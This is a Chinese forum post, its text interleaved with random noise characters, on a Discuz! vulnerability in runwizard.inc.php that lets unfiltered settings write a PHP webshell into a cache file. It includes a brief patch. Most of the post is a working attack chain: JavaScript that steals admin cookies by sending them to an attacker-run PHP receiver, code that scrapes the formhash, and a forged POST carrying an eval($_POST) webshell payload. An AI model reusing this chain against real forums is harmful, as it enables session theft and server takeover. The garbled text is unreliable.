5 _" s" G' ^0 _6 o9 J! F+ Z ) Q1 k; m# o- n- T) {4 h& c3 F下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() { o# I8 f) m. \/ \9 D 4 V) `" P0 f( u! F+ C global $runwizardfile, $runwizardhistory; ! y* Y8 p' i$ O& ]# K 0 |5 Q: H' H: Z* y7 ~ $fp = fopen($runwizardfile, 'w'); " O4 o, a6 \. N! N& H' p( b2 b: ^% h , q* _* j2 j1 Q7 r- g fwrite($fp, serialize($runwizardhistory)); 8 t4 X. b5 {% X ) ^; @) z$ W4 S5 K fclose($fp);0 g) z* w9 t! @* F- o
1 R( c+ i. `% Q/ M) L, ~1 T& Q
} 2 _, L! v# t# K$ r- X复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里. 0 w) q1 V! h& o$ [以下是修补的办法:function saverunwizardhistory() {+ w; K+ s( I9 k3 G; G
% |0 c/ K# L$ i: V
global $runwizardfile, $runwizardhistory;4 H- O# I) G, w0 ^9 ^, l
) ?% X" S; {8 s) V7 l7 o$ i! i $fp = fopen($runwizardfile, 'w'); 9 f6 Z4 o# l# B( Y) n" P ' t7 @" ^7 e: U$ k# z, ~ $s = '<?php exit;?>'; / I; O* n) P6 L' F- b8 l; n2 A% U4 \" F) V
$s .= serialize($runwizardhistory);% j4 D4 P, R% l/ [6 j$ x
/ a$ k. t1 ]( d" n$ S4 S" t( V1 V
fwrite($fp, $s); 9 a! P4 P' m$ ?3 E4 l ) ?/ N2 G; Z+ B0 s$ b1 B fclose($fp);! U; {, z L' V
7 [, V/ u: c9 [- G
} . @1 l3 p/ J+ D. Y: E' w- p复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行. . H8 H3 h: J R) F0 E% h2 w1 y- ^" X& @* m; H' W$ z6 Y# v" g
- h% U' v& e9 m9 z* Y3 I. H) M, Y! ?; D( q* k
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------: f0 v, Q3 `. l$ n g
; p# o8 z# Q: e9 u' w. Q5 P
8 v" D$ u" s: ]+ ?2 T
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.; t- s; t. n- V% G8 h
( p& v( Q# G* ^ T* s. V. H我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL. / { q1 I2 ~0 R1 ?& t8 G2 ?2 K4 @% Y ^( `( s+ P1 F% T( G
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少. " W, y+ {( V+ [! ^. ]5 i l6 c" }
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码: 0 m" n) G, R N5 _ i ; h4 ]1 W3 ^) x+ q' P8 Rvar url="http://目标网站/admincp.php"; 1 W5 @* D3 q J$ T+ k8 Y! [: X7 V1 C. |3 o6 Q
/*获得cookies*/) p4 a! n. ~$ N, k; h4 n; o" C' F
: _6 V+ N( g) j# t# @9 \
function getURL(s) { / J2 U* X# b; g' ?# b) q5 |4 Y- n" V* ^) F. K
var image = new Image(); . C7 _2 k% G. {2 {4 d0 G 3 K4 t& p6 S) M) R, ~image.style.width = 0; # e- u9 D0 ]0 V# ` ; A. Q3 z x, f" q, o" eimage.style.height = 0;9 i5 Y; S# d' e7 a, p* H# _8 h, p
7 h% w/ T* g+ M5 ?image.src = s; + M% w+ X3 B1 B+ s* B , i3 z m, C$ A$ ^. Q} e w. H2 @3 l
% R( Z) n. p% Z; ggetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php 8 |: W9 Q$ }' O复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];; p: |* A# T9 U
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) ) ?* k- [% T; [# p2 G7 s3 b
% a2 L, a2 L! N9 r- B9 `/ p+ z& k- [- z% j
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/"; * n, ~2 `$ F! p M' D5 b1 p# |2 v2 ? p1 j7 `6 a
7 T+ c* n* }3 L' @4 ], V2 H
y! ^: s3 e; z$ r; L& W2 [
/*hash*/ \ ]9 d. D' {- Y f 6 ?; e, v* ~% _) g- ovar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0"); ( H8 g1 r- h3 _0 k4 c' Q1 l; K' a, V" `/ P `
xmlHttpReq.open("GET", url+"admincp.php?action=home", false); . F7 b1 \" H$ E / x. c' A' |7 {' {# y. MxmlHttpReq.send();+ `. u7 f4 Z O$ Z
; `9 V: B! _. p0 W) O3 ?# L# c! H
var resource = xmlHttpReq.responseText;0 z3 Y& o2 a. a# i: V
9 N [( l. n9 a! G* y2 j, m
var numero = resource.search(/formhash/); p$ w- \6 b* s
4 Z& H) j! L7 F8 X) Dvar formhash=encodeURIComponent(resource.substr(numero+17,8));2 ? ?5 j9 Q" O, l4 D1 Z: R
- A/ F; O) w; g9 g& l
* Q6 i- U8 L! h$ w* R B
# P/ w) e2 I" g( u& g- b, w
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 % W- W) m! A$ l. \7 E! [ " T9 B1 ~& Y! ^( \6 L! dxmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 ! m q$ n; r" o4 `/ p ! y8 h0 O Z8 v7 mxmlHttpReq.setRequestHeader("Referer", url);6 G$ O/ F. v: {. }